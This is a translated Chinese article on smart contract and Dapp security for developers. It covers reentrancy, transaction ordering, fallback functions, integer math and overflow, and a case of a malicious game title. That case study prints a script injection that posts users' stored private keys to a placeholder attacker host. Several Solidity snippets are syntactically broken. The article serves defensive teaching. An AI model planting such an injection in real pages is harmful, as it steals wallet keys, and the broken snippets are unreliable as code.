智慧合約及Dapp安全簡介

買賣虛擬貨幣
導讀:各個公鏈上的智慧合約和Dapp數量在高速發展的同時,也隱藏著許多致命的風險,本文結合的特性,為廣大智慧合約和DAPP開發者提供忠實的安全方面建議。智慧合約和dapp的開發屬於新的正規化,開發的方式與以前會有所不同。“敏捷開發”的格言在這個新正規化中好像不起任何作用了,這類專案的開發會有一定的風險,這要求我們採用緩慢而有條理的方法來開發我們的應用程式,在設計和編碼時儘量謹慎和考慮周全。開發時也不能讓自己承受過多的壓力,比如制定嚴格的期限等。如果把大多數傳統的apps類比於社羣診所,那麼區塊鏈可以說是急診室。有些很小的問題,一旦上鍊的話,就會變得很難解決,你必須考慮到所有可能的負面結果,如果沒有這麼做,你可能會面臨非常可怕的後果。
所以在我開始具體的內容之前,我必須要重申一下區塊鏈開發方面的特點,這些迫使我們開發時要非常小心。所有程式碼都是公開的

首先,區塊鏈的程式碼是開源的,任何人都可以看到你寫的程式碼,所以很明顯,智慧合約中不應記錄敏感的個人資訊。不然,你就可以進行使用者的鏈上行為分析,這對於小白使用者來說可能聽起來不太好,因為他的歷史行為暴露在了全世介面前。


這就導致智慧合約及其相關儲存功能只能儲存合同正常執行所必需的資訊。

其次,最最重要的是,所有原始碼都公開可見,這意味著在地下工作的明星駭客有充足的時間和自由,來梳理你的每一行程式碼,尋找其中的漏洞,程式碼將無處可藏。

Gas 限制

我相信大多數人都知道,以太坊的是有Gas費的,Gas費些許的昂貴,並且還有一定的限制!如果智慧合約中的邏輯可以導致大量Gas消耗,則會出現嚴重的問題。迴圈呼叫是這種情況的常見原因。

最後也是最重要的一點是:

不可篡改特性

智慧合約程式碼都是完全根據最初的邏輯執行,都不想重蹈The DAO級別的硬分叉悲劇。

區塊鏈開發的特點是,合約一旦部署,一切都將不可篡改。不可篡改的優點是讓我們可以高枕無憂地相信智慧合約。我們首次將信任程式設計到程式碼中。陌生人之間可以信任程式碼,而不是彼此建立信任。我們慢慢的開始相信智慧合約,它不會騙人,也不會在任何時候做出格的事情。

對我來說,我會以非常開放的心態擁抱全球的區塊鏈霸主。並且作為工程師,我也會努力去實現這個信任社會,但是這個信任社會也有致命的問題。

設想一下,如果我們家的技術文盲奶奶不小心把她的google搜尋痔瘡膏的資訊釋出到了Facebook上,這不會是大問題,可以刪掉。但如果她在某個有漏洞的智慧合約上暴露了自己的私鑰,那我們就無能為力了,她精通技術的侄子也沒有任何辦法,區塊鏈瀏覽器中歷史記錄將無法刪除!

在寫程式碼的時候,我們必須假設每個使用者都是技術文盲,並百分百地確保函式的正確呼叫,執行能夠操作無誤,你永遠都不會知道,有多少人盯著你錢包地址上的數百萬美金。

接下來我將介紹一些準備好的漏洞示例,並且進行一些練習,讓每個人都參與進來。以便我們在今後在寫程式碼時能夠避免Dapp和智慧合約的漏洞。

實際案例推薦

我們來看第一個案例,讓我們從一些背景開始。

· 這是一個去中心化的遊戲平臺
· 它的應用程式都是基於瀏覽器的
· 遊戲開發者可以公開發布他們的遊戲(在以太坊網路上執行的dapps)
· 玩家可以註冊dapp並從選擇各種遊戲(用ETH購買虛擬商品)
· 註冊時會幫你建立新的錢包(這個案例不需要Mist 或Metamask)
· 錢包金鑰儲存在玩家的瀏覽器中,用於驗證和支付。

是的,這似乎是開發人員透過平臺進行釋出,並有效連線玩家的好地方。

不幸的是,有一款叫HODL QUEST的遊戲在釋出後,使用者下載它時,他們錢包中的以太幣數量就開始減少。

玩家的以太幣去哪了呢?讓我們先來看一下平臺的一些情況:

· 這個問題是幾小時前釋出的新遊戲HODL QUEST引起的
· 首次開啟遊戲後,錢包的資金幾秒鐘就消失了
· 在遊戲註冊期間,開發人員在平臺內的表單中輸入dapp的名稱,智慧合約地址和URL
· 該平臺將遊戲iframe嵌入到dapp中,同時在頁面頂部顯示遊戲名稱
· 你可以開始看看它的發展方向......經過進一步的檢查,我們發現HODL QUEST遊戲的開發者在註冊過程中為遊戲標題注入了一個內聯指令碼。仔細觀察遊戲html程式碼,我們發現了這樣的事情:

<h2>HODL <script>$.post(‘https://haxxx.lol/’, localStore.getItem(‘privateKey’));
</script> QUEST</h2>

使用者的瀏覽器插入了遊戲標題的javascript片段,並將使用者的私鑰發到給攻擊者遠端伺服器上。

這只是我們寫Dapp時可能出現的眾多問題之一。

以下我列舉的是,在構建專案時要記住的事項清單:

•保護錢包和私鑰:如果使用者的錢包受到損害,那就game over了,所以處理這些敏感資訊時需要特別小心。
•保護使用者資訊:使用者不希望他們的個人資料暴露在世界各地,開發時要確保使用者資料不被洩露。
•明智地評估需要儲存在區塊鏈或伺服器中的內容,只能包含智慧合約執行所必需的資料
•使用HTTPS:這是標準做法,應該是顯而易見的
•.gitignore敏感檔案:保護自己免於意外洩露漏洞的另一種方法
•不要在程式碼中插入訪問/ API金鑰
•在dapp中執行關鍵/風險操作時要進行雙重認證:在區塊鏈上採取的操作是不可變的,因此鏈下的安全驗證非常重要

DAPP的安全性與智慧合約的安全性一樣重要,希望廣大開發者始終牢記在心。

智慧合約競爭條件

再來講講競爭條件,什麼是競爭條件?就是是電子裝置,軟體或其他系統中的輸出取決於其他不可控事件的順序或時間一種行為。當事件沒有按程式設計師的意圖發生時,它就變成了一個bug。這是以太坊智慧合約中許多漏洞的根源

在以太坊智慧合約中出現競爭條件的方式有幾種。在這篇文章中,我們將關注兩種常見情況。重入和交易順序依賴。

重入

如果計算機程式可以在執行過程中被中斷,則可以在其先前的呼叫完成執行之前安全地再次呼叫(“重新輸入”),這被稱為可重入計算機程式。在對其他合同進行外部呼叫時,這可能會顯示在智慧合約中,因為它們可能會在原始呼叫完成之前回撥到原始函式。你可能會問,這怎麼可能?

輸入fallback 函式,這些函式是在將Ether傳送到合約時呼叫的功能,而不提供要呼叫的函式名稱。

在這個例子中,當withdraw函式使用address.call.value()方法傳送ether時,它會觸發BankRobber的fal’lback函式,然後可以再次呼叫withdraw方法。正如您所看到的,這將導致智慧合同一次又一次地傳送以太可能會耗盡所有以太幣!

從上圖中可以看出,有許多不同的方式可以傳送以太幣,但大多數情況下,都推薦使用address.transfer。這是因為如果交易耗盡所有的2300 gas,就會回滾。這樣,如果惡意合同試圖重新簽訂合同,gas將用完,整個交易將被還原。

在某些情況下,使用傳送或回撥是有意義的,但在使用這些時需要格外小心,因為只有在傳送以太幣感到非常滿意時,才會出現這種情況。99%的時候,轉移是正確的路徑。

防止重入的另一種方法是在進行外部呼叫之前更新狀態並在合同中執行檢查,以確保狀態代表即將執行的事務。

打包頭部交易(交易順序依賴)

另一種情況是競爭條件依賴,讓惡意的交易被優先打包,這是區塊鏈的開源性質決定的。如果在智慧合約中執行競價或類似機制,駭客可能會透過操縱gas價格,礦工打包交易時會在交易池中選擇價格高的進行打包。在這段時間內,其他惡意行為者可以監控併傳送惡意交易,來破壞已經傳送的出價交易。礦工則會對區塊中的交易價格進行重新排序,這就造成惡意交易被優先打包。
有幾種不同的方法可以防止像這樣的操縱。一個是把交易批次打包,另一個方法是披露投標人傳送其出價的雜湊值,在確認之前識別是不是惡意交易。

讓我們來看看另一個例子

這個智慧合約是一個遊戲,使用者可以將以太幣送到智慧合約中成為新的國王。當一個新人成為國王時,老國王就會收到智慧合約中的以太幣。你能找到這個漏洞嗎?

這是Ethernaut的一個很好的例子,它開展了探索智慧合約安全的練習。

這些示例表明,在進行外部呼叫時,絕不應該假設您呼叫的智慧合約是可信的。始終注意防止攻擊者可能嘗試的所有可能的負面結果。

fallback函式

fallback函式很有用,因為它們包含在將Ether傳送到您的合同時呼叫的程式碼。但他們無法處理一切。
首先,當從fallback函式觸發時,回退功能只能訪問2,300 gas,因此邏輯需要非常簡單,以免發生gas錯誤。

// example of a fallback function when
// you don't want Ether to be sent to a contract
function () payable {
revert()
}

有一個問題!當以太幣被強制傳送到合約時,後備功能不會觸發

contract ForceSend() {
function ForceSend() {
// sends ETH to victim without triggering the fallback function
function destroy() {
selfdestruct(victim);
}
}

函式將智慧合約的以太幣傳送到受害者地址。此傳送不會觸發合同中的回退功能。接收免費以太是很好的,但正因為如此,你需要避免直接檢查合同的餘額並期望它是一個特定值,因為它實際上可能比你想象的更大!

整數運算

與大多數現代架構不同,EVM不處理浮點數或算術運算。所有數字儲存和算術都用整數處理。這是什麼意思?這意味著您的合同中沒有任何意義,您可以將任何內容儲存為小數或執行通常會返回小數的操作,例如查詢百分比等。讓我們看一個例子。
想象一下,您正在建立一個代幣銷售智慧合約,根據銷售過去的時間為買家提供獎勵購買。它可能看起來像這樣。

/// snippet from contract code
function calculatePrice() returns (uint256) {
uint percentTimePassed = (now - startTime)/(endTime - startTime);
uint price = (1-percentTimePassed)*basePrice + basePrice;
return price;
}

正如您所看到的,用傳統語言,透過的時間百分比將計算為0到1之間的小數,然後返回價格。

不幸的是,這不適用於整數運算。如果操作操作不正確,可能某些不正確的百分比會導致嚴重問題的情況。

在Solidity中,你必須做這樣的事情:

/// snippet from contract code
function calculatePrice() returns (uint256) {
uint percentTimePassed = 100*(now - startTime)/(endTime - startTime);
uint price = ((1-percentTimePassed)*basePrice)/100 + basePrice;
return price;


百分比計算為0到100之間的整數,應用於基本價格,然後除以100以將“小數位”固定到正確的點。這是計算百分比的一種粗略方式,因為它犧牲了一些精度,但是根據EVM的執行方式是必要的。您可以透過乘以100的較大倍數來獲得更好的精度,但這是一個取決於合同背景的決定。

整數溢位/下溢

根據維基百科,當算術運算嘗試建立一個數值超出可以用給定位數表示的範圍 - 大於最大值或低於最小可表示值時,就會發生整數溢位。大多數語言都有解決此問題的方法,但Solidity無法自行處理溢位檢查。這導致過去在區塊鏈上出現一些智慧合約的問題,但有很多方法可以解決這個問題。以下是使用Solidity新增的示例:

function add(uint a, uint b) {
res = a + b
if (res-b == a) && (res>b || res==b) {
// the operation was safe
} else {
// overflow
}
}

這透過確保結果沒有包圍變數所保持的最大值來檢查加法運算的溢位。減法,乘法和除法需要類似的檢查。

漏洞 3

你能找到智慧合約中的錯誤嗎?

uint[] public bonusCodes;
function pushBonusCode(uint code) onlyOwner {
bonusCodes.push(code);
}
function popBonusCode() onlyOwner {
require(bonusCodes.length >= 0);
bonusCodes.length--;
}
function modifyBonusCode(uint index, uint update) onlyOwner {
require(index < bonusCodes.length);
bonusCodes[index] = update;
}

此契約具有一個儲存陣列,其長度欄位可以遞減到0.這會導致算術下溢,從而有效地禁用Solidity的陣列邊界檢查。因此,在溢位寫入陣列之後可以用來覆蓋位於陣列之後的任何儲存元素 - 包括所有對映!

在開發的時候,我們並不能確定,有哪些沒有考慮到的微小的點,單這些可能是導致歸零的重大問題,在文中舉的案例中,就導致使用者平均損失了數百萬美元。

我們所能做的最好的事情就是遵循所有現有的應用程式和智慧合約正規化,並且要要進行廣泛測試,以及要讓專業的安全人員幫我們稽覈程式碼。

未來,讓我們一起共建智慧合約的功能和安全性!

(*本文由Joshua Hannan(Modular的營運長)首發於medium.com平臺,由獵豹區塊鏈安全團隊翻譯與整理*)

更多區塊鏈資訊:www.qukuaiwang.com.cn/news

免責聲明:

  1. 本文版權歸原作者所有,僅代表作者本人觀點,不代表鏈報觀點或立場。
  2. 如發現文章、圖片等侵權行爲,侵權責任將由作者本人承擔。
  3. 鏈報僅提供相關項目信息,不構成任何投資建議

推荐阅读

;